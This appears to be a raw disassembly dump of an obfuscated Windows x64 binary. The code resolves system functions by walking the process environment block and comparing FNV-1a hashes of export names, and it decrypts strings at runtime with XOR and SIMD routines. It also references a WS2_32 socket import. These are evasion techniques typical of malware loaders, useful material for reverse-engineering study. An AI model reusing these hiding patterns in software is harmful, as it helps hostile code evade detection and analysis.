mov edx, dword [rbp + 0x10]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14000af22
cmp r8d, 0x16
jge 0x14000b073
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x14000b040
xor r9d, r9d
mov r8, rbx
mov rdx, r10
xor ecx, ecx
call rdi
jmp 0x14000b6eb
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edi, dword [rcx + rax*4]
add rdi, r9
jmp 0x14000ae80
lea rax, [rbp + 0xb8]
mov qword [rbp + 0x6f0], rax
lea rdx, [0x140103488]
lea rcx, [rbp + 0xb8]
call fcn.140012920
mov rdi, rax
lea rax, [rbp + 0x140]
mov qword [rbp + 0x1b0], rax
lea rdx, [0x1401034a8]
lea rcx, [rbp + 0x140]
call fcn.140012920
mov rbx, rax
lea rdx, [0x1401034d8]
lea rcx, [rbp + 0x260]
call fcn.140012920
nop
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [0x140103610]
call fcn.14007f170
lea rax, [rbp + 0xb8]
mov qword [rbp + 0x6f0], rax
lea rdx, [0x1401034a8]
lea rcx, [rbp + 0xb8]
call fcn.140012920
mov rbx, rax
lea rdx, [0x1401034d8]
lea rcx, [rbp + 0x140]
call fcn.140012920
nop
mov r8, rbx
mov rdx, rax
lea rcx, [0x140103610]
call fcn.14007cf20
cmp byte [0x140103820], 0
je 0x14000b5d8
lea rax, [rbp + 0xb8]
mov qword [rbp + 0x6f0], rax
lea rdx, [0x1401034a8]
lea rcx, [rbp + 0xb8]
call fcn.140012920
mov r14, rax
lea rax, [rbp + 0x140]
mov qword [rbp + 0x1b0], rax
mov qword [rbp + 0x1c0], r13
movabs r13, 0xfdfb4b50e4b6385e
mov qword [rbp + 0x1c8], r13
movabs rbx, 0x5185f99d2731c665
mov qword [rbp + 0x760], rbx
mov qword [rbp + 0x768], r13
movdqa xmm0, xmmword [rbp + 0x1c0]
xorps xmm0, xmmword [rbp + 0x760]
movdqa xmmword [rbp + 0x1c0], xmm0
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x140]
call fcn.140012920
mov rsi, rax
lea rax, [rbp + 0x260]
mov qword [rbp + 0x720], rax
lea rdx, [0x1401034d8]
lea rcx, [rbp + 0x260]
call fcn.140012920
mov rdi, rax
lea rax, [rbp + 0x290]
mov qword [rbp + 0x400], rax
movabs rax, 0x34e898f35554b510
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x188], r13
mov qword [rbp + 0x770], rbx
mov qword [rbp + 0x778], r13
movdqa xmm0, xmmword [rbp + 0x180]
xorps xmm0, xmmword [rbp + 0x770]
movdqa xmmword [rbp + 0x180], xmm0
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x290]
call fcn.140012920
mov rbx, rax
movabs rax, 0x38f18df8546dfc26
mov qword [rbp + 0x3e0], rax
movabs rax, 0x9394383acac55f30
mov qword [rbp + 0x3e8], rax
movabs rcx, 0x42d986f3e048d4a7
mov qword [rbp + 0x3f0], rcx
movabs rdx, 0xe9f254064b874a10
mov qword [rbp + 0x3f8], rdx
movabs rax, 0x5185f99d2731c665
mov qword [rbp + 0x700], rax
mov qword [rbp + 0x708], r13
mov qword [rbp + 0x710], rcx
mov qword [rbp + 0x718], rdx
vmovdqu ymm0, ymmword [rbp + 0x3e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x700]
vmovdqa ymmword [rbp + 0x3e0], ymm1
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0x408]
vzeroupper
call fcn.140012920
nop
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rsi
mov r9b, 1
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.1400056e0
mov rdi, qword [0x140103470]
test rdi, rdi
jne 0x14000b3f7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000b3d7
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000b3d7
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000b3d2
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000b3b0
cmp edx, 0x23a979e4
je 0x14000b5bc
test r8d, r8d
jne 0x14000b390
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000b3ed
cmp qword [rax + 0x30], 0
jne 0x14000b360
mov rdi, r15
mov qword [0x140103470], rdi
lea rdx, [rbp + 0x24]
lea rcx, [rbp + 0x21]
call fcn.140010a20
mov rbx, rax
movzx eax, byte [rax + 4]
test al, al
je 0x14000b423
xor byte [rbx], 0x35
xor byte [rbx + 1], 0x36
xor byte [rbx + 2], 0x37
xor byte [rbx + 3], 0x38
xor al, 0x39
mov byte [rbx + 4], al
lea rdx, [rbp + 0x240]
lea rcx, [rbp + 0x9d]
call fcn.140010bc0
mov r10, rax
cmp byte [rax + 0xb], 0
je 0x14000b5a3
mov r8d, r15d
cmp r12d, 2
jl 0x14000b564
movdqa xmm4, xmmword [0x1400eef50]
mov eax, 5
movd xmm5, eax
mov eax, Ordinal_35
movd xmm6, eax
movdqa xmm2, xmmword [0x1400eed60]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400eed90]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
mov eax, dword [0x1400eee20]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x1400eed80]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400eed90]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14000b570
xor r9d, r9d
mov r8, rbx
mov rdx, r10
xor ecx, ecx
call rdi
mov byte [0x140103484], 1
jmp 0x14000b6eb
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edi, dword [rcx + rax*4]
add rdi, r9
jmp 0x14000b3f0
mov rdi, qword [0x140103470]
test rdi, rdi
jne 0x14000b697
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000b677
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000b677
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000b672
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000b650
cmp edx, 0x23a979e4
je 0x14000b8ae
test r8d, r8d
jne 0x14000b630
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000b68d
cmp qword [rax + 0x30], 0
jne 0x14000b600
mov rdi, r15
mov qword [0x140103470], rdi
lea rdx, [rbp + 0x24]
lea rcx, [rbp + 0x21]
call fcn.140010a40
mov rbx, rax
movzx eax, byte [rax + 5]
test al, al
je 0x14000b6c7
xor byte [rbx], 0x35
xor byte [rbx + 1], 0x36
xor byte [rbx + 2], 0x37
xor byte [rbx + 3], 0x38
xor byte [rbx + 4], 0x39
xor al, 0x3a
mov byte [rbx + 5], al
lea rcx, [0x140103828]
call fcn.1400127c0
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call rdi
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movss xmm1, dword [0x1400eecc4]
xorps xmm0, xmm0
call fcn.140033dc0
movaps xmm2, xmm9
movaps xmm1, xmm10
lea rcx, [rbp + 0x1e8]
call fcn.1400020f0
mov rbx, rax
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0xf8]
call fcn.140010be0
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x14000b893
mov r8d, r15d
cmp r12d, 2
jl 0x14000b853
movdqa xmm4, xmmword [0x1400eef50]
mov eax, 5
movd xmm5, eax
mov eax, Ordinal_35
movd xmm6, eax
movdqa xmm2, xmmword [0x1400eed60]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400eed90]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
mov eax, dword [0x1400eee20]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x1400eed80]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400eed90]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14000b860
mov rdx, rbx
mov rcx, r10
call fcn.1400600f0
test al, al
je 0x14000b8ca
mov dword [0x1401034a4], r15d
jmp 0x1400108ac
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edi, dword [rcx + rax*4]
add rdi, r9
jmp 0x14000b690
mov eax, dword [0x1401034a4]
cmp eax, 2
jne 0x1400108ac
lea rdx, [rbp + 0x104]
lea rcx, [rbp + 0xfc]
call fcn.140010960
movzx ecx, byte [rax + 1]
test cl, cl
je 0x14000b8fd
xor byte [rax], 0x35
xor cl, 0x36
mov byte [rax + 1], cl
mov r8d, Ordinal_301
lea rdx, reloc.WS2_32.dll_accept
mov rcx, rax
call fcn.14002f640
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0xf6]
call fcn.140010970
movzx ecx, byte [rax + 9]
test cl, cl
je 0x14000b956
xor byte [rax], 0x35
xor byte [rax + 1], 0x36
xor byte [rax + 2], 0x37
xor byte [rax + 3], 0x38
xor byte [rax + 4], 0x39
xor byte [rax + 5], 0x3a
xor byte [rax + 6], 0x3b
xor byte [rax + 7], 0x3c
xor byte [rax + 8], 0x3d
xor cl, 0x3e
mov byte [rax + 9], cl
mov rcx, rax
call fcn.14005f4f0
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0xa0]
call fcn.140010c10
mov r10, rax
cmp byte [rax + 0x10], 0
je 0x14000bb23
mov r8d, r15d
cmp r12d, 2
jl 0x14000badb
movdqa xmm5, xmmword [0x1400eed60]
movdqa xmm4, xmmword [0x1400eef50]
mov eax, 5
movd xmm6, eax
movdqa xmm7, xmmword [0x1400eed90]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x1400eee20]
movdqa xmmword [rbp + 0x10], xmm0
mov rcx, r10
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14000b9d0
cmp r8d, 0x11
jge 0x14000bb23
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x14000baf0
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8d, [r9 + 0x11]
lea rdx, [0x1401034d8]
mov rcx, r10
call fcn.140062bd0
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x9f]
call fcn.140010b30
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x14000bcc3
mov r8d, r15d
cmp r12d, 2
jl 0x14000bc84
movdqa xmm4, xmmword [0x1400eef50]
mov eax, 5
movd xmm5, eax
mov eax, Ordinal_35
movd xmm6, eax
movdqa xmm2, xmmword [0x1400eed60]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400eed90]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
mov eax, dword [0x1400eee20]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x1400eed80]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400eed90]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14000bc90
mov rcx, r10
call fcn.14005f4f0
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x9c]
call fcn.140010c30
mov r11, rax
cmp byte [rax + 0xb], 0
je 0x14000be53
mov r8d, r15d
cmp r12d, 2
jl 0x14000be0c
movdqa xmm4, xmmword [0x1400eef50]
mov eax, 5
movd xmm5, eax
mov eax, Ordinal_35
movd xmm6, eax
movdqa xmm2, xmmword [0x1400eed60]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400eed90]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
mov eax, dword [0x1400eee20]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r11]
xorps xmm2, xmm0
movd dword [r11], xmm2
movdqa xmm3, xmmword [0x1400eed80]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400eed90]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r11 + 4]
xorps xmm2, xmm0
movd dword [r11 + 4], xmm2
mov r8d, 8
movsxd r10, r8d
add r10, r11
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r10], al
inc r8d
lea r10, [r10 + 1]
cmp r8d, 0xc
jl 0x14000be20
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
mov r9d, 0x8000
mov r8d, Ordinal_26
lea rdx, [0x140103488]
mov rcx, r11
call fcn.140062bd0
movaps xmm2, xmm9
movaps xmm1, xmm10
lea rcx, [rbp + 0x120]
call fcn.1400020f0
mov rbx, rax
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x9b]
call fcn.140010a60
movzx ecx, byte [rax + 6]
test cl, cl
je 0x14000bec4
xor byte [rax], 0x35
xor byte [rax + 1], 0x36
xor byte [rax + 2], 0x37
xor byte [rax + 3], 0x38
xor byte [rax + 4], 0x39
xor byte [rax + 5], 0x3a
xor cl, 0x3b
mov byte [rax + 6], cl
mov rdx, rbx
mov rcx, rax
call fcn.1400600f0
test al, al
je 0x14000c2c5
lea rax, [rbp + 0xb8]
mov qword [rbp + 0x120], rax
lea rdx, [0x140103488]
lea rcx, [rbp + 0xb8]
call fcn.140012920
mov rbx, rax
lea rdx, [0x1401034d8]
lea rcx, [rbp + 0x140]
call fcn.140012920
nop
mov r8, rbx
mov rdx, rax
lea rcx, [0x140103610]
call fcn.140082770
cmp byte [0x140103820], 0
je 0x14000c1a1
mov rbx, qword [0x140103470]
test rbx, rbx
jne 0x14000bff7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000bfd7
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000bfd7
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000bfd2
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000bfb0
cmp edx, 0x23a979e4
je 0x14000c12a
test r8d, r8d
jne 0x14000bf90
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000bfed
cmp qword [rax + 0x30], 0
jne 0x14000bf60
mov rbx, r15
mov qword [0x140103470], rbx
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x20]
call fcn.140010c50
mov rdi, rax
cmp byte [rax + 7], 0
je 0x14000c183
cmp r12d, 2
jl 0x14000c146
movdqa xmm4, xmmword [0x1400eef50]
mov eax, 5
movd xmm5, eax
mov eax, Ordinal_35
movd xmm6, eax
movdqa xmm2, xmmword [0x1400eed60]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400eed90]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
mov eax, dword [0x1400eee20]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rdi]
xorps xmm2, xmm0
movd dword [rdi], xmm2
movdqa xmm3, xmmword [0x1400eed80]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400eed90]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rdi + 4]
xorps xmm2, xmm0
movd dword [rdi + 4], xmm2
jmp 0x14000c183
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov ebx, dword [rcx + rdx*4]
add rbx, r9
jmp 0x14000bff0
mov r10, rdi
mov r9d, r15d
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r9d
add edx, r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, r9b
sub al, dl
add al, 0x35
xor byte [r10], al
inc r9d
lea r10, [r10 + 1]
cmp r9d, 8
jl 0x14000c150
lea rcx, [0x140103828]
call fcn.1400127c0
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call rbx
jmp 0x14000c2be
mov rdi, qword [0x140103470]
test rdi, rdi
jne 0x14000c267
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000c247
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000c247
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000c242
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000c220
cmp edx, 0x23a979e4
je 0x14000c820
test r8d, r8d
jne 0x14000c200
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000c25d
cmp qword [rax + 0x30], 0
jne 0x14000c1d0
mov rdi, r15
mov qword [0x140103470], rdi
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x20]
